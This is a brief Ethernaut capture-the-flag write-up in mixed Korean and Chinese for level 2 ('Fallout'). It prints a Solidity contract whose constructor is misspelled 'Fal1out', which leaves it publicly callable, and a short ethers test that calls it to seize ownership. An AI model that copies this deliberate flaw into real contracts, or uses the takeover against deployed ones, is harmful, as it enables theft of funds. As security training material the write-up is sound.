Ethernaut系列-레벨 2(낙진)

6012 단어

레벨 2(낙진)




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}


通关要求



1.소유자 设为플레이어

要点



文字打错 - -!

解题思路



旧版的构造函数名,打错了Fal1out.新版的用constructor了

直接调用方法即可

  it("attacks", async function () {
    await levelContract.connect(player).Fal1out({
      value: ethers.utils.parseEther("0.0001").toNumber(),
    });
  });

좋은 웹페이지 즐겨찾기